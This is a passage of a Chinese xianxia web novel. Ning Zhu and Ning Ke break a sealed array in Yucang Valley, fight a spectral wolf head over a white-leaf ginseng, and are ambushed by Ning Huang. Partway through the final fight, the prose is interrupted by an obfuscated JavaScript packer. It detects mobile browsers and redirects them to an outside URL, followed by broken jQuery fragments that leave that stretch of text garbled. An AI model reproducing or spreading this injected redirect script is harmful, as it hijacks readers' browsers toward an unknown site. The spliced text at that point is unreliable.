宁竹跟在他身后,直到出了山洞,另几人才如梦初醒般回过神来。 宁长青犹豫犹豫,第一个开了口:“他刚刚说……少族长?” “呵,我就知道宁殊的公正无私都是装的。”宁鲤从鼻腔里哼出一声不屑的冷笑。 “他?公正无私?哈!说什么玩笑话,”宁巫嘲讽,她摆摆手,又想起那日宁殊浑身的冷意,“你是没见着他处理宁衡的那个狠劲,都接近顶格处罚了吧。” “说完没有?”宁兰之没让他们把话继续下去,“有本事当面和少族长说些,没那个本事就赶紧闭嘴找草药!” . 已经离开山洞的二人对山洞里发生的事自然是半点不知。 宁轲在前带路,他一路走得很快,比宁竹自己、比和宁长青同行时的速度快得多,宁竹必须全力以赴才能跟得上他。 也不知道是不是宁竹说那一句宁殊给了补气丹戳了他的点。 两人走了半天没交流一句话,倒是方便了宁竹观察郁苍谷的环境变化,在冲出树林的一瞬,宁竹确信自己看到了如水波荡漾的扭曲空气,旋即他和宁轲便已踩踏在柔软的草地上。 宁竹诧异地回头看,身后那树林如凭空断开一般,就连树下杂草的颜色都与脚下的草叶全然不同,仿佛两块毫不相关的拼图被生生挤在一起。 郁苍谷到底是个什么地方? 宁竹原先被撇到一旁的疑惑又重新浮上心头。 宁轲突然又喊他一声:“小竹。” 宁竹不得不从对郁苍谷的猜想中分出几分意识来听。 宁轲在他身前五六步远的地方,他看不见宁轲的表情,而宁轲的话语随着风飘来:“你有没有兴趣加入我们医药阁?” 10.异象 “可以。” 宁·不安常理出牌·竹如是答道。 “……”宁轲似乎哽了一下,可疑的几秒停顿过后,他又继续说下去,“我还以为你打算考执法堂,毕竟宁殊在那。” 听着语气是在笑,可看不到脸,表情是否同语气一致那就说不准了。 “不过四大堂的最低报考门槛是过了凝源,你今年……十四还是十五了?还来得及吗?” 宁竹弯弯唇角:“这不还早吗,有的是时间能挑,说不定那会儿我就改主意去灵植院了。” 这回宁轲的无语光是看着背影就能感受到了。 他平复了下情绪,又笑起来:“我是想说,今年积分榜前三名,都能破格参加我们医药阁的试炼,不论灵属、不论等级。你要是有兴趣来,这次积分榜是个不错的机会。” 还在探。宁竹心里冷笑,宁轲这人嘴上说的和做的可完全是两回事,表面上是邀请宁竹进入医药阁,实际上想做的,不过是借着他探宁殊的意思。 宁竹语气不改:“我还以为你想让我收着点,别把你那俩跟班挤下前三呢。” “哈哈,自信是好事,不过我相信小鲤他们,虽然他们还没有考入医药阁,但毕竟他们都是我亲手教的,建议你不要轻视他们。”宁轲话语一转,语气随意,“你呢?宁殊又教了你多少。” 磨叽了半天,终于是把真正想问的东西说了出来啊! 宁竹盯着他的背影,不留情地堵死对话:“不多,够用。” “那也不错啊。” 即使是被宁竹堵了三四回,宁轲也依旧没有半点发怒的意思,这倒是让宁竹有些意外。 两人有一搭没一搭“聊”着的同时,脚下也没有停止赶路,宁轲的确全程半点没有缓下来,似乎是半点没管顾宁竹的意思,但宁竹能感觉到,宁轲在转弯的时候会借此把视线转到自己身上,在暗地里观察着自己的状态。 于是宁竹掐着时间,在宁轲转移视线看过来的时候,他吞下又一颗补气丹。 补气丹并不能在短时间内将灵力恢复提升,相反,补气丹的药效发挥需要时间,倒很是适合赶路这种长线消耗。 虽然这是炼丹堂出品的最基础的丹药之一,但在宁家,补气丹也并非随意可得,即便是身为少族长的宁殊,都必须遵守规则,做各种日常任务获取积分,再以积分兑换。 宁竹这些年在宁家活得相当边缘,自然不可能拥有积分,更未曾听说他与宁殊之外的其他人交好。 因此这补气丹,是也只会是宁殊给的。 . 宁轲悄无声息地撤回视线,在宁竹看不到的地方,眼神里露出几分焦躁。 宁殊对宁竹比他想的还要好。 宁竹为什么值得他这么特殊对待?……难不成真就单纯只是因为感觉对不起宁竹?宁轲很快否定了自己的念头。——不应该,这事说不通。宁竹自己选择放弃世家的资源,关宁殊什么事? 只是眼下——以宁竹对宁殊的好感和对他的提防,想引诱宁竹说出宁殊的信息,大概率是没法成功了。 不过也还好。宁竹不说,他也有的是办法试探。 宁轲长出一口气,他脚下又提速几分,逼着宁竹耗费更多的灵力跟上自己,嘴上依旧维持着温和的语气:“快到了,小竹,能坚持住吗?” 宁竹没有回他,只是脚步声一直稳稳地跟在他身后。 . 眼前的环境逐渐被沙石覆盖,空气中弥散着属于水道干涸后散发的土腥味。 宁竹跟在宁轲身后,顺着水道一路飞奔,又穿过一片扭曲怪异的边境,于是眼前赫然出现一座巨大的山峰,从谷底看上去,断崖直耸云霄,一眼望不见峰顶。 嶙峋的乱石上爬满青苔,崖上一道一道如刀削的岩石是水直冲而下的痕迹,空气中还有水汽飘散,脚下的土地湿润,这里处处宣告着此处应当是瀑布,却不见那宽大的银带。 甚至……不是自然干涸。 宁竹的视线转向边角还翠绿欲滴的青苔。若是自然干涸,空气中蕴含的水灵气会自然消散,周边的植物也会受到影响干枯而蜷缩起来,不可能是这幅舒展的模样。 那难道是这飞瀑凭空消失?又或者……被什么吞噬了? 宁竹默默往边上走了几步,宁轲注意到他,便是发问:“怎么了,发现什么了吗?” 这种异常宁轲不可能没有察觉,他没有露出异样来,那就说明这种事在郁苍谷是正常的,就像他们几次穿过的扭曲空气一般,是他们习以为常且不值得一提的。 宁竹往一边的岩石边缝看过去,一株绿植正随风摇摆着枝条:“过去看看。” “那个啊……”宁轲跟着他的视线看过去,似乎是辨认了一下,随即他摇头,“不用过去了,水川草,不是我们要找的。” 他指向峭壁乱石间另一株垂下叶子的绿植:“鳞叶草,那个是我们要的。怎么样,小竹,能上去吗?” “……不难。”宁竹略有些不适地微微皱眉,“一株一株找会不会太慢了?分头行动吧。” 宁轲“唔”了一声,没答应:“我本来想两个人一起,相互也有个照应。” 宁竹肯定了自己的感觉。 宁轲平时有宁鲤和宁巫跟着,凡事必然很少动手,而此时跟宁轲走在一道是自己,他既改不掉自己下意识的习惯和语气,也不会对自己宁竹这个凝源都没有达到的人表达平等尊重。 他只会理所当然地,把自己当成和宁鲤一样的跟班来使唤。 宁竹暂时是不打算说破这一点,只给了自己的理由:“这片区域也不大,横竖远不到哪里去,分头行动还能节省点时间。” 大概是宁轲很少有这样连环碰壁的时候,宁竹看见了他蹙起的眉头。 宁轲叹了一口气:“如果你坚持的话,好吧。本来我还想顺路教你一些草药等级的识别技巧。” “嗯?这样啊,”宁竹刚迈出去的步子又收了回来,他露出对此很感兴趣的神情,“那也不是不行。” 宁轲这两天沉默的次数格外的多。 所以,原来宁竹感兴趣的是这种 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眼看宁竹不打算说了,宁轲便回了第二个问题:“鳞叶草全株可入药,但其价值最高的,是它的根茎。” 他顿下来,随意地用灵力扫开碎石,露出深扎泥土中的根系来。 “到时候计分的判断标准便是如此,若是采摘的时候没注意,损坏了根茎,那这一整株鳞叶草的分数都要折半。” “这个知识虽然是公开的,但即便是灵植院的,也未必能像我们医药阁一般,清楚各类草药最珍贵的部分。” 宁轲隔空点了宁长青和宁兰之,悄摸暗示了一嘴跟着宁长青可学不到这些。 他说着指了指那株鳞叶草,示意宁竹看过来:“小竹,来,试试看把他拆下来,尽可能不要伤到根部。我们接下来要找的草药有不少这种类型的,你先拿这个试试手。” 宁竹蹲下身,本来打算用灵力,谁知木灵力一靠近那鳞叶草的枝干便以迅雷不及掩耳之势裂了开来,宁竹不得不沉默着收起灵力,徒手撬开石缝。 刚才说得好听,其实也不过是不想脏了自己的手而已吧。 宁竹把那株鳞叶草挖了出来,又抖抖纠缠在根上的土,他实在懒得再清洗了,便直接塞进了手环里。 做完这些,他站起身,原先站在自己身侧的宁轲此刻背对着他,手在半空中不知道比划着什么。 宁竹疑惑地看过去,落后于宁轲小一步的位置,刚好能看见宁轲所看见的景象。 他们现在站的位置不算矮,下边的状况自然一目了然。 突然,宁轲的手顿住了,他似乎迟疑了片刻,又回到一开始的位置,从头到尾再度比划了一次。宁竹的视线紧紧追着他手所指的方向移动。 紧接着,宁竹也顿住了。 他的双眼都不自然地睁大了几分,从宁轲回过头来同他对视的眼里,宁竹看见了同样的惊异。 . 这个地方,怎么会有灵阵? 11.破阵 “走,我们下去看看。” 宁轲当机立决。先前他掩盖得再好,也盖不住他对搜寻药草这件事的兴致缺缺,而此时宁轲双眼放光,语气都急了几分,大概他自己也没想到能捡到这种意外之喜。 宁竹暗中审视着他的神情变化,到底是受不了他这下令式的指使,便迂回了一下提醒:“不先找草药?” 宁轲这才想起来这里还有个纯新人,眼底的激动之色飞快褪去,他又端出那副不紧不慢的模样。 或许方才宁竹流露出来的惊异同样明显,宁轲思索着道:“你是知道灵阵的……但你不知道郁苍谷内的灵阵代表什么?” 这点没必要隐瞒,宁竹“嗯”了一声,算是应了。 “郁苍谷只有很少的灵阵,唔,当然,那些阻隔禁入的光幕也是一种灵阵。”宁轲解释着。 他的语气努力掰回平缓,但在说及灵阵背后隐藏的机缘时,还是控制不住的语调上扬:“这种可以被破解的灵阵意味着,能被解决的危险,以及,能直接得到的奖励。” “你是新来的,应该不清楚两年前的事,当年宁殊破了一个灵阵,拿到了个二阶魔兽的晶核,带队的长老直接把晶核作为奖赏给他,并宣布灵阵不受规则限制,只要能破解灵阵,拿到什么都归属破阵者。” 原来如此。宁竹终于理解懂了他之前的表现,原来他们惊讶的不是同一件事。宁轲是喜大于惊。 “所以,灵阵的优先级可以高于草药。”宁竹一句话总结了他先前说的那一堆话的中心思想,他看向宁轲,“但破阵之法,你有吗?” “不错。”宁轲一副欣慰的表情,他点了头,“这个阵法我以前见过,是最基础的水元素封阵,主镇压,无攻击力——这也代表了被封印在阵里的东西危险性不大。” “这种基础的灵阵,只要以五行相克原理灌入足量的灵力就能破解,但原本这里的瀑布应当是提供了水灵气供给,现在少了水源,水灵气已经不够支撑灵阵了,这是个好机会。” 他说着,翻手从手环中取出一颗照明珠。分明仅有一个拳头大小,那光芒却胜过昨夜里所有人周身漂浮的照明珠,甚至周遭的空气都因为这颗照明珠的出现而变得灼热了几分。 “灵石,火源珠。”他看着宁竹的脸,笑里带上了几分难以自觉的傲然,“我没记错的话,你也有水灵脉?等会儿你引动灵气,等灵阵浮现后,我来逐一破解阵眼。” “走吧,先下去。” 他说完全然没问宁竹是否同意,只飘身一跃便落在河道中,他往上抬了抬手里的珠子,焰火升腾起来,随即将整颗珠子包裹。 而这灵阵似乎感觉到了外界的威胁,宁轲脚下的泥土湿润了几分,是灵阵在外放灵气的象征。 宁竹静静地看着他的背影。 虽然灵阵已经有些支撑不足了,但破解这个封印,最少也要把整个火源珠搭进去,然而宁轲对此眼都不眨,即便他只是在赌,也说明灵阵背后的东西很大概率能够挽回这颗灵石的损失。 而他并不选择隐瞒这个信息,也没有等之后再叫宁鲤宁巫过来帮忙,也一定程度说明了这个灵阵的好破解程度和灵阵所带来的益处之大。 甚至也可以说——宁轲目前不认为自己是个威胁,或者,宁轲认为自己是个还能利用的工具人。 否则他大可想办法支开自己,而不是让自己下去给他帮忙。 短短数秒宁竹脑子里过了好几种可能,倒是下方的宁轲见身后的人没跟下来,回头看他,语气着急地催促:“怎么了,小竹?” 宁竹回神,他没应话,只是选择踩着石壁上几块突出的岩石缓慢下去。 他和宁轲之间的修为差距不是一星半点,宁长青自报有聚气四段,而宁轲却称自己比宁长青的修为还高一些——即使宁轲只高出宁长青一阶,聚气五段和散气九段之间的区别也隔着天堑。 宁竹的目标从始至终只有一个白叶参,虽然他的确不喜宁轲的态度,但如今连叶片的影子都没见着,他没必要去做节外生枝的事。 水灵力在他落地的一刻便被调动起来,随着他一步步靠近宁轲而聚集,不多时,浅淡的蓝便在宁竹周身萦绕。 “要怎么做?”他问宁轲。 宁轲大概是没想到宁竹突然变得这么好说话,眼神里流露出几分疑惑。 他退开一步,示意宁竹:“来,你站在我这个位置上,像你正常修炼那样,以灵脉引动水灵气,阵法受到威胁就会浮现。” 宁竹二话不说站上去了,灵脉跟随他的意念而动,水灵气自然朝他汇聚,灵脉贪婪地吞噬着天地灵气,炼化自己所需的水灵气,很快,面前的空气扭曲起来,逐渐勾勒出阵法的纹路。 身侧的人猛地高举火源珠,一道火舌喷射而出,一头撞进那扭曲的空气中。 嗡! 刺耳的嗡鸣几乎荡开一圈波涛,震得两人脚下的细碎沙石都震颤起来。 宁竹忍着恶心,他深吸一口气,在宁轲看过来时,水灵脉剧烈催动起来,他很明显地感觉到了,有什么在和他争夺着空气中本就稀少的水灵气。 随着他的争夺,一条扭曲的纹路在空中蔓延,如某种寄生植物,盘住了他们脚下整片原本应当被水流覆盖的土地。 有戏! 宁轲脸上的欣喜已然掩藏不住了,他低声念诵咒语,悬在半空的火源珠燃烧得愈发剧烈,就连呼吸都能感觉到周围的空气被火源珠烧灼到何种地步。 火焰步步紧逼,在宁轲的操控下追着蔓出来的纹路一路烧到阵中心,于是浅蓝色的辉光之下,宁竹清楚地看见了灵阵中央一处颜色黯淡于他处的符文—— “去!” 宁轲一声低喝,那颗火源珠携带着焚烧空气的焰火,狠狠撞进那处黯淡的符文! 轰! 火焰烧灼开阵法,于是光芒大盛,水汽尖叫着漫开大片滚烫白雾,在一声巨响之中四散开来。 宁竹迅速操控着汇聚的灵力将自己包裹住了,但那白雾实在霸道,温度灼烫,即便隔着灵力包裹而成的茧子,依然让宁竹露在外地皮肤感觉隐隐感觉到刺痛。 身侧的人似乎又用了什么, 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他眼底的喜色更直白,宁竹看见他的喉结上下滚动了,仿佛那株白叶参已然是他的囊中之物。 寻常的白叶参或许还不足以让他为之一顾,但,这是一株长了花苞,已然待放的——即将突破、进入二阶灵植之列的白叶参。 “我先下去看看,你在这等我!”宁轲又急又快地说着,尾音还未落下,他已是猛地一蹬跃向那处被火源珠轰开的口子。 宁竹心头冷笑,不过是小配合了一下,真当他是宁鲤那样言听计从的小跟班了? 他同样一蹬壁障,跃入那逐渐扩大的缺口。 灵阵之下的土地比方才所踩踏的水道还要潮湿,落地“嗒”的一声,似乎还溅起了泥水,声响回荡在这片空间里。 宁轲皱起眉头:“你怎么……” “没见过这种的,”宁竹笑得是无害,“下来看看。” 宁轲不说话了。 他警惕地往前走了两步,离那株白叶参更近了,他似乎还是放心不下,灵力悄声汇集在手上。宁竹没有动作,只是静静地看着。 但,灵阵背后就只是这样? 宁竹悄然放出灵力,木灵力经由他的双脚与脚下的青苔链接,于是一抹异动细微地挠过他的感知。 宁竹盯着一步步靠近白叶参的宁轲,他在宽大的叶片面前站立,他伸出覆盖着一层水灵力的双手,他虔诚而贪恋地捧住那朵几欲绽放的花苞—— “吼!” 一颗硕大的狼头猛地凝聚成型,血盆大口只差一点点就要咬断宁轲的手。 “呃!”宁轲反应的速度还算快,他猛地向后一跃,只差一步到手的灵植被迫拉开了距离,他惊疑未定地看向那颗诡异的狼头,缕缕黑烟正从他巨大的口中逸散而出。 它的双目——不,它的眼眶没有任何的东西,可它却莫名让人感觉到了它转动了它的眼睛,冰冷的视线在宁竹身上缓缓滑过,最终聚集在妄图摘下灵植的宁轲身上。 它呲牙,发出一声警告般包含怒火的低吼。 12.挑拨 郁苍谷,宁家的药仓,其最大的特点是谷内不存在任何魔兽。 然而眼下,一颗巨大的狼头紧紧“盯”着修为等级更高一些的宁轲,那模样显然不能被称为“魔兽”,却也并非二人知识体系中所能理解的。 但,大部分灵植附近会有魔兽与之共生,充当守护者,这点倒是符合两人的认知。 “像巡风狼……”宁竹盯着那颗狼头,所幸他以前随佣兵们上山时见到过,狼眼尾标志性的青色眼线暴露了它的身份。只不过还是有些不一样,它大得有些可怖了。 宁竹深吸一口气,他补充道:“我没见过这么大的……有可能是狼王。” “果然没那么容易啊。”宁轲自嘲般笑了一声。 他缓缓侧步移动,那颗狼头悬浮在白叶参边上,随着宁轲得动作转移方向,始终保持着正对宁轲。 看样子是把宁轲当做最大的威胁了。 狼头应激地怒吼,恐怖的威压随着宁轲的移动而震荡开来,压得仅是散气修为的宁竹差点撑不住身形。 这诡异狼头的修为少说也和这株白叶参相似,是只差些许便能突破二阶的一阶魔兽。 说到底宁轲是水元素单灵脉的医修,在战斗能力上本就弱了一筹,虽然他自称擅长作战,但宁竹并不清楚他能否拖延住这只怪异的东西。 毕竟他从未见过宁轲出手。 宁竹稳住身形,他往另一侧移动,那颗狼头注意到了,但也只是耳朵往后转了过来,并没有调转视线。 宁轲同样注意到了,他微微抬了下巴,眼里带着几分不满,或许是昏暗的环境下懒得掩藏,可惜宁竹的视力确实很好——现在没有任何与宁轲闹翻的必要,他便全当没发觉了。 “小竹。”宁轲喊他,在宁竹看过去时,他又诡异地停顿了好几秒,再开口,语气甚是不舍与不甘,“……等会我吸引它的注意力,你试试能不能绕背,把灵植抢下来。” 宁竹懂了。 白叶参还没到手,宁轲却已经将之视作了自己的囊中物,而此刻不得不转交宁竹去摘获,宁轲心底对宁竹的不信任,远大于面对未知生物的危机感。 若不是宁竹的修为的确不够看,他确信宁轲会做出同之前破阵时一样的安排。 宁竹猜他现在一定很后悔,后悔为什么急着破阵、为什么此刻与他同路的不是自己人。 但后悔这些也没有用。宁竹缓慢地行至狼头旁侧,视线转移到那株白叶参身上——宁竹会用行动让他知道,什么是更应该后悔的事。 . 宁轲骤然往前踏出一步。 早已汇聚成型的水箭齐射而出,狼头似乎咧了嘴,发出形似嘲讽的怪叫声,那些水箭在它的怒吼下剧烈地震荡起来,在它身前不到半寸距离的地方被震碎回原型。 就这样?宁竹皱了下眉。只是这样,那可远远称不上善于作战。 “哼。” 宁轲似乎对此早有所料,他哼笑一声,手上漂浮的符文骤然一翻—— 铮! 一根根冰棱拔地而起,只一眨眼便刺穿了那颗硕大的狼头,正是先前被震碎的水箭! 但那冰刺似乎没有给狼头带来实质性的伤害,噼里啪啦的声音是疯长的冰棱彼此碰撞的声响,那颗狼头模样虚幻了起来,是一团一团的黑雾在翻涌。 “吼!” 被偷袭得逞似乎激怒了这颗狼头,漆黑的眼眶里骤然亮起似是鬼焰的青绿,它张大口,灵力在它口中汇聚,风球轰向宁轲! 宁轲早有所防,他迅速拉开距离,双手翻飞结印,水灵气充沛的环境里实在太方便一个水属性修者作战,水球在他周身凝聚,而后又迅速拉长凝结成冰矛,矛尖犹如挑衅般对准了狼头。 “吼——” 扎入狼头里的冰棱被它震碎了,它猛地朝宁轲扑去,速度之快几乎拖拽开一道黑色的影。 宁竹眼前一亮,他迅速冲上前去。 狼头来不及调头,宁轲一声低喝,更多的冰棱冲天而起,交叠着封住了它的退路。狼头呲着獠牙,狂风大起,风刃朝着宁轲飙射而出! 宁轲脸色骤变,他同样来不及回防,仓促间只得用冰矛一挡,然而那还冰矛在风刃面前实在是太脆也太薄,只听“咔”的一声,风刃割过宁轲的手臂,血与冰屑一同飞溅。 “混蛋!” 宁轲拧着眉头低骂,他只来得用水灵力覆在伤口上,仓促止了血,数十道冰矛随着他的怒火对准了狼头,只一个意念,冰矛瞬息而至! 又一声怒吼。 那狼头分明没有实体,却一路闪躲,似乎很是害怕被冰矛刺穿。 它的动作意图太过明显,宁轲自然注意到了,他手上再度结印,飞溅而出的血被牵引着融入水中的水球,他的眉眼里饱含着怒火,随着他抬起手,那颗水球里倒映出了狼头。 嘭! 那狼头并不想和宁轲纠缠,它回头看向已然在白叶参前站立的宁竹,焦躁地嘶吼着想要冲回灵植旁侧,宁轲却不想放过它。 “想走?”宁轲冷笑,他猛地掷出那颗水球。 狼头左右一晃便与那水球交错而过,可那看似轻飘飘毫无攻击性的水球已然锁定了目标,在擦身的一刻,水球中冰箭飙射而出,狼头猝不及防之下又是被几根冰箭捅了个对穿,甚至带出几缕黑烟在空中逸散。 那颗水球却还没完,它在空中划出一道诡异的弧线,随着宁轲手上印诀变化,炸开的冰箭铺天盖地,形成几近不透风的网直直朝狼头铺盖而下。 于是狼头懂了。它朝宁轲飞扑而去,顶着被冰箭刺穿的伤害直直扑向这个一直阻拦他的人类。 宁轲自有所防,他后撤几步,这次拔地而起的是一堵被加厚过的冰墙,狼头口中凝聚的风刃不顾一切地砍砸在冰墙上,碎屑飞溅,冰墙发出不堪重负的呻.吟。 “宁竹!” 隔着狼头的黑雾宁轲看不见宁竹的动作,他提高了声音嘶吼,迫切想要知道宁竹的进度。 然而回应给他的是树木折断的碎裂声。 宁轲心头狠狠一跳。 他挥不开眼前的黑雾,又不能停下攻击,冰箭一根根被狼头震碎,冰墙上的裂痕越来越大,他下意识地摸上了手环,旋即又被手环冰凉的温度拽回了神。 呼! 是火焰烧灼的声音。 “噢,你发现我了?” ——宁煌的声音。 宁轲骤然愣了一拍,就这一瞬的空白,冰墙被狼头轰碎,大片的风刃直冲眼前。 已来不及细思,宁轲从手环中取出的灵石在他身前碎裂,于是厚实的光盾展开,只差毫厘便将他切割的风刃被尽数拦下。 . 尘烟拢在光盾面前,宁轲却不敢从光盾里出去,那狼头没了阻碍,它迅速折返。 身影未至,风刃先行! 宁竹不得不闪身退开,宁煌却丝毫不惧,迎面直上。 他手中长刀覆着烈火,只一下便叫那风刃消逝空中,甚至悍然向那颗狼头挥砍而去! 嘭! 巨大撞击声震得宁竹脚下一圈尘土都激荡开来,宁竹没退开多少,他再度俯冲而上。 时间紧迫,白叶参只差一点就得手——他来不及再等了。 “嗯?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14362486|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁煌注意到了,他颇有些玩味地转过视线,从他手上的动作来看,和那被宁轲消耗过几回的狼头角力并不需要他拼尽全力,以至于他此刻还能分心。 . 那棵白叶参所深扎的土地已经被摧毁大半,宁竹足够小心也足够快,原本狼头只被宁轲拖住那一会儿,白叶参就已经快被宁竹完整摘下了。 若不是宁煌突然背袭,此刻这株白叶参已然进了宁竹的储物手环之中。 就在几秒前,宁竹挥舞最后一下时,身后的异常高温令他起了警惕,若不是他防备心理过强,或许此刻他已然捏碎木牌被传送出局。 宁竹假借击碎岩石的动作骤然回身起防,火焰撞在水盾上,发出水火相互倾轧的刺耳尖鸣。 升腾的白雾之中,一抹妖异的红映入他的眼。 宁煌提着火刀砍下,锋刃在宁竹退开之后仍不回收,只凭惯力狠狠砸在岩石上,劈开一条过深的裂痕。 那焰火甚至切开半片宽大的叶子,飘落在地上时更是被烈火吞噬,只几个短短呼吸间便只剩下了一团灰烬。 “……你发现我了?什么时候?” 宁煌似乎对此感觉到了意外,他好奇地追问,但并没有想得到答案的意思。 当然,宁竹也并不打算回他。 宁煌的修为……最少也与宁轲不相上下,甚至因为火元素天然自带的攻击性,不凭借外物,他的战斗力理论上要比宁轲更高。 冷汗已经打湿了宁竹的额角,他相信自己再动一下宁煌会毫不犹疑地攻击他,而他也来不及动,宁煌的视线将他从头到脚扫视了一遍。 是宁竹所熟悉的、令人恶心的打量。 . 宁轲待到尘烟消散,看清光盾之外的情况才敢撤开光盾,他猛蹬岩石朝着那株灵植的方向冲来,开口便是追问宁竹:“拿下了吗?!” 宁煌手上猛地施力,他与狼头都在这一撞击之下弹开些许,半空中的宁煌挥刀砍出,两道火鞭先后落在宁竹与宁轲身前,逼着他二人停下前冲的脚步。 “没有。”宁竹看着重新被狼头守在旁侧的白叶参。 明明只差一点点。 “只有两人啊。”宁煌的语气似乎还有些可惜,他挡在白叶参之前,持握的长刀火焰更甚几分,“有点少了。” “你……一直在这守着?”宁轲皱起眉头。 他又看向那棵只差一点点就能被摘下的白叶参,眼底翻涌的情绪,说不上是不满更多还是不甘更多。 “自己去找多麻烦,当然是等你们自己送上门来方便。”宁煌轻飘飘地说道。 他手上长刀火光跃动,扫过二人一狼的眼里满是不屑一顾,大有准备以一挑三的势头。 “你名次不要了?”宁轲无法理解,他试图说服宁煌,“这次算我认栽,我们联手,灵植你我对半分,怎么样。” 宁竹的视线从宁煌身上转移,落在了宁轲小半边侧脸上。 宁煌似乎注意到了,他笑起来。 “你和我?”他长刀一抬,遥遥指向了半天没开口的宁竹,“似乎有人不同意呢!” 宁轲愣住了。一连串的事情发生得太快,他来不及反应,便在方才一刻把真正的想法说了出来。 他的视线有些僵硬地偏转,同宁竹对上了,他扯出一抹不自然地笑:“我自会补偿小竹。” 宁煌却仿佛没听到,他对着宁竹伸出手,手上长刀火焰烈烈,大有宁竹一个摇头就挥刀砍下的意思。 “你比我想的有意思,所以,我给你提供另一个选项。” “和我一起把他淘汰出去,这株灵植,我送你!” 13.失控 宁轲的脸色瞬变。 单一个宁煌或许他还能打,但要是宁竹听了宁煌的话真的对他出手,那宁竹同样有成为压死骆驼最后一根稻草的可能。 “宁竹。” 宁轲轻轻喊他一声,语气骤然严肃了不少。 “你拦住他。”宁竹却突然说。 主权在此刻颠倒,宁轲眼睛瞪大了一瞬,他还在怀疑自己的耳朵,宁竹却已然猛蹬地面向旁侧蹿出,瞬间拉开三人的距离。 宁煌咧出笑,他的长刀劈砍而下,熊熊烈火几乎燃烧了风,火鞭猛地朝宁竹的方向甩出。 宁轲大脑空白间,只来得及仓促舞出冰棱格挡,又在反应过来自己做了什么之后恼火地“啧”了一声。 他双手结印变化,喷射而出的水珠骤然幻化成蛇型,仿佛在顷刻间有了自己的意识,直冲宁煌而去—— “我还以为你准备把这招一直掖到棺材里呢。” 宁煌嘲笑了一声,他悍然挥刀迎击,烈火灼灼,一瞬间暴起的火光几乎照亮了整个地底洞穴。 轰! 水火之间的争斗何其激烈,震得旁侧壁上碎石哗啦啦砸了一地。 宁竹根本来不及回头去看一眼,他双眼紧紧盯着同样注意到他的狼头。 散气阶段学不了任何功法,哪怕学会了,也没有施展的能力。宁竹没法像宁轲之前那般用功法强拖,但他看到了——那狼头很畏惧被穿刺,并且,狼头比起最开始出现时已然小了一圈。 所以,宁轲之前也算误打误撞地攻击到了狼头的弱点。 那狼头似乎是打定了主意不离开这株即将被得手的灵植,宁竹朝他直奔而来。 它悬浮在灵植之前,口中凝聚着的光球轰向于它而言几乎弱小的人类,但宁竹只是脚下一拧,那光球便只是轰在了空处,炸起满地碎屑。 他的身形很快,几乎和先前的宁轲不相上下,水色在空气中牵出一道湿润的影,近了、更近了—— 宁竹深深吸气,他旋身蓄力,不知何时出现在手中的银刺带着十成十的力道飙射而出! “吼!” 那狼头似乎并不觉得这是个威胁,它发出吼叫,风刃齐发,于是宁竹脚下一个一个的小水坑中水波震荡,强风之下那脱手而出的银刺已然晃荡,随着“当啷”一声,砸落在地时清脆得像个笑话。 那渺小的人类却还不肯罢休,更多根银针在空中穿行,一道道银芒几乎牵连成银色的网。 狼头势不肯挪动半步,当然——这种弱小的挣扎又有何挪开的必要? 银针摇摆着坠地,连绵的声响似乎构成雨的鸣奏。 乍起的狂风中夹杂着锋刃,宁竹仓促间抬起手,破碎在身前的灵石展开一层薄薄的护罩,大风切割着它,于是那层壁障荡起一层一层的波纹。 宁竹一咬舌尖,自指尖流淌而出的灵力硬撑着为护罩输送能量,越来越激烈的碰撞使得整个护罩都剧烈波动起来,他仍不顾一切地前冲。 跳动着绿色鬼焰的狼目紧紧盯着这层壳,它仰天长啸,尖利的狼吼震得深深刻在人类本能中的恐惧震颤,两道凭空而起的大风纠缠,于是平地卷起一阵飓风,地上细小的碎石很快被牵引而动,卷入风中,彼此碰撞发出骇人的声响。 唰! 一道黑影猛地从消散的壳中猛冲而出,早已蓄势待发的飓风轰了上去,于是瞬间烟尘缭绕,风中胡乱冲撞的石子撕裂那道黑影。 它吐息,咧开的唇角形似人类的嘲笑。 而下一瞬,狼头眼眶中翻涌的青色鬼焰骤然凝滞了。 滚滚黑烟不断地从它的身体里逸散,它全然被分散了注意力,于是少年突袭得手,宁竹浑身裹着一层烈火穿过了那黑雾所塑的狼头。 身影重叠的一瞬间,大量形态各异的草药齐射而出,几乎要将整个狼头塞满了植物。 火焰便在此时此刻点燃它们。 轰! 烈火由内而外地吞噬了那颗狼头,黑烟被包裹在焰火之下,狼尖利地哀嚎着,动物的本能在此刻压过了形态上的诡异,它疯狂地扑倒在地翻滚起来,试图以此熄灭那熊熊火焰。 宁竹在火里闯了一遭同样狼狈,却只在穿过狼头落地的一刹便猛地扑向那株白叶参。 他不确定这一计是否起效,他甚至不敢回头去确认。白叶参的叶片颤抖起来,那株灵植在他眼中放大了数倍,连叶片上细小的绒毛都看得真切。 于是不顾一切,分秒都要抢。 火苗还在宁竹发尾衣摆跳动,他伸出的手覆上一层莹润的色彩,直直破开坚硬的泥土,直到那株灵植真正被他握在手。 凉意在碰到灵植的一刻瞬间洗刷了宁竹的感知,连带着被焰火灼痛的肌肤都褪去了热意。宁竹忍着痛把白叶参塞进手环之中,另一只手摸上了怀中的木牌,他踉跄着起身,终于敢回头去看。 另一侧大打出手的二人注意到了这边的动静,宁煌毫不恋战,只一蹬地便直冲而来,他抬刀,焰诀符文萦绕他的手臂,刀上的焰火迸出耀眼的光亮。 宁轲紧随其后,印诀翻飞,那道蛇影便要更快,几乎是令人眼前一花便追上了宁煌。 宁竹不退、不闪,他直视着朝他飞奔而来的两道身影。 “斩!” 宁煌一声低喝,他手上符文同声音响起一刻骤然光芒大盛,那长刀划开一道火弧,就在半空劈砍而下! 轰! “呜——!” 下一瞬响起的是狼的哀鸣。 焰火劈开那被烈火包裹的狼头,黑烟袅袅,一缕不甘的绿焰在其中升腾,最终消散于风。 尘烟散去,一颗棱角分明、凹凸不平的淡绿色晶石,在火焰的包裹下缓缓出现。 兽核! 有谁心跳空了一拍,那凭空出现的晶石像是在焰火的淬炼中诞生。 但,在场所有人都知道它不是。 